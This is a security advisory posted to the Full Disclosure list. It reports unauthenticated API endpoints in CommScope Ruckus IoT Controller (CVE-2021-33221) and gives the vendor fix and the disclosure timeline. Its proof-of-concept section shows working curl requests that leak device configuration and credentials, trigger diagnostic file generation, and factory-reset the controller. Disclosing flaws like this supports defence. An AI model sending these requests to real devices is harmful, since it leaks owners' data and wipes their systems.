KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints

Related Vulnerabilities: CVE-2021-33221  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="71"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#72">By Date</a>
<a href="73"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="71"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#72">By Thread</a>
<a href="73"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: KoreLogic Disclosures via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Wed, 26 May 2021 16:05:02 -0500


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints

Title: CommScope Ruckus IoT Controller Unauthenticated API Endpoints
Advisory ID: KL-001-2021-001
Publication Date: 2021.05.26
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2021-001.txt">https://korelogic.com/Resources/Advisories/KL-001-2021-001.txt</a>


1. Vulnerability Details

&nbsp;&nbsp;&nbsp;&nbsp; Affected Vendor: CommScope
&nbsp;&nbsp;&nbsp;&nbsp; Affected Product: Ruckus IoT Controller
&nbsp;&nbsp;&nbsp;&nbsp; Affected Version: 1.7.1.0 and earlier
&nbsp;&nbsp;&nbsp;&nbsp; Platform: Linux
&nbsp;&nbsp;&nbsp;&nbsp; CWE Classification: CWE-306: Missing Authentication for Critical Function
&nbsp;&nbsp;&nbsp;&nbsp; CVE ID: CVE-2021-33221


2. Vulnerability Description

&nbsp;&nbsp;&nbsp;&nbsp; Three API endpoints for the IoT Controller are accessible
&nbsp;&nbsp;&nbsp;&nbsp; without authentication. Two of the endpoints result in
&nbsp;&nbsp;&nbsp;&nbsp; information leakage and consumption of computing/storage
&nbsp;&nbsp;&nbsp;&nbsp; resources. The third API endpoint that does not require
&nbsp;&nbsp;&nbsp;&nbsp; authentication allows for a factory reset of the IoT Controller.


3. Technical Description

&nbsp;&nbsp;&nbsp;&nbsp; A "service details" API endpoint discloses system and
&nbsp;&nbsp;&nbsp;&nbsp; configuration information to an attacker without requiring
&nbsp;&nbsp;&nbsp;&nbsp; authentication. This information includes DNS and NTP servers
&nbsp;&nbsp;&nbsp;&nbsp; that the devices uses for time and host resolution. It also
&nbsp;&nbsp;&nbsp;&nbsp; includes the internal hostname and IoT Controller version. A
&nbsp;&nbsp;&nbsp;&nbsp; fully configured device in production may leak other, more
&nbsp;&nbsp;&nbsp;&nbsp; sensitive information (API keys and tokens).

&nbsp;&nbsp;&nbsp;&nbsp; Another API endpoint that can be accessed without authentication
&nbsp;&nbsp;&nbsp;&nbsp; can be used to generate diagnostic/support files. The process
&nbsp;&nbsp;&nbsp;&nbsp; of generating these diagnostic files consumes CPU and disk
&nbsp;&nbsp;&nbsp;&nbsp; utilization. The files can be retrieved, but are encrypted.

&nbsp;&nbsp;&nbsp;&nbsp; The third API endpoint that can be accessed without
&nbsp;&nbsp;&nbsp;&nbsp; authentication will reset the virtual appliance back in to a
&nbsp;&nbsp;&nbsp;&nbsp; factory reset condition - removing the current configuration
&nbsp;&nbsp;&nbsp;&nbsp; of the device.


4. Mitigation and Remediation Recommendation

&nbsp;&nbsp;&nbsp;&nbsp; The vendor has released an updated firmware (1.8.0.0) which
&nbsp;&nbsp;&nbsp;&nbsp; remediates the described vulnerability. Firmware and release
&nbsp;&nbsp;&nbsp;&nbsp; notes are available at:

&nbsp;&nbsp;&nbsp;&nbsp; <a rel="nofollow" href="https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf">https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf</a>


5. Credit

&nbsp;&nbsp;&nbsp;&nbsp; This vulnerability was discovered by Jim Becher (@jimbecher)
&nbsp;&nbsp;&nbsp;&nbsp; of KoreLogic, Inc.


6. Disclosure Timeline

&nbsp;&nbsp;&nbsp;&nbsp; 2021.03.30 - KoreLogic submits vulnerability details to
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CommScope.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.03.30 - CommScope acknowledges receipt and the intention
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to investigate.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.04.06 - CommScope notifies KoreLogic that this issue,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; along with several others reported by KoreLogic,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; will require more than the standard 45 business
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; day remediation timeline.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.04.06 - KoreLogic agrees to extend disclosure embargo if
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; necessary.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.04.30 - CommScope informs KoreLogic that remediation for
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this vulnerability will be available inside of the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; standard 45 business day timeline. Requests
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KoreLogic acquire CVE number for this
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerability.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.14 - 30 business days have elapsed since the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerability was reported to CommScope.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.17 - CommScope notifies KoreLogic that the patched
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; version of the firmware will be available the week
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of 2021.05.24.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.19 - KoreLogic requests CVE from MITRE.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.19 - MITRE issues CVE-2021-33221.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; advisory.
&nbsp;&nbsp;&nbsp;&nbsp; 2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

&nbsp;&nbsp;&nbsp;&nbsp; <a rel="nofollow" href="https://192.168.2.220/service/v1/service-details">https://192.168.2.220/service/v1/service-details</a>
&nbsp;&nbsp;&nbsp;&nbsp; $ curl -k <a rel="nofollow" href="https://192.168.2.220/service/v1/service-details">https://192.168.2.220/service/v1/service-details</a>
&nbsp;&nbsp;&nbsp;&nbsp; {"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "8.8.4.4", "ibm_gateway_token":
"-", "ntp_server": "ntp.ubuntu.com", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "192.168.2.254",
"visionline_ip": "-", "netmask": "255.255.255.0", "ip_address": "192.168.2.220", "hostname": "vriot", "version":
"1.6.0.0.42", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0",
"aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name":
"local-mqtt.video54.local", "dns": "8.8.8.8", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-",
"ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}}

&nbsp;&nbsp;&nbsp;&nbsp; <a rel="nofollow" href="https://192.168.2.220/service/v1/diagnostic">https://192.168.2.220/service/v1/diagnostic</a>
&nbsp;&nbsp;&nbsp;&nbsp; $ curl -k <a rel="nofollow" href="https://192.168.2.220/service/v1/diagnostic">https://192.168.2.220/service/v1/diagnostic</a>
&nbsp;&nbsp;&nbsp;&nbsp; {"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}}

&nbsp;&nbsp;&nbsp;&nbsp; A POST to the /reset URL does not require authentication:
&nbsp;&nbsp;&nbsp;&nbsp; @app.route('/reset',methods=["POST"])
&nbsp;&nbsp;&nbsp;&nbsp; def reset():
&nbsp;&nbsp;&nbsp;&nbsp; """
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Resets the system to factory condition.
&nbsp;&nbsp;&nbsp;&nbsp; """

&nbsp;&nbsp;&nbsp;&nbsp; This was tested and confirmed.
&nbsp;&nbsp;&nbsp;&nbsp; $ curl -k <a rel="nofollow" href="https://192.168.2.220/reset">https://192.168.2.220/reset</a> -X POST
&nbsp;&nbsp;&nbsp;&nbsp; curl: (52) Empty reply from server
&nbsp;&nbsp;&nbsp;&nbsp; $
&nbsp;&nbsp;&nbsp;&nbsp; $ ping 192.168.2.220
&nbsp;&nbsp;&nbsp;&nbsp; PING 192.168.2.220 (192.168.2.220) 56(84) bytes of data.
&nbsp;&nbsp;&nbsp;&nbsp; From 192.168.2.99 icmp_seq=1 Destination Host Unreachable
&nbsp;&nbsp;&nbsp;&nbsp; ^C
&nbsp;&nbsp;&nbsp;&nbsp; --- 192.168.2.220 ping statistics ---
&nbsp;&nbsp;&nbsp;&nbsp; 3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms



The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>

Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>

</pre><p><strong>Attachment:
<a href="att-72/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="71"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#72">By Date</a>
<a href="73"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="71"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#72">By Thread</a>
<a href="73"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints</strong> <em>KoreLogic Disclosures via Fulldisclosure (May 26)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>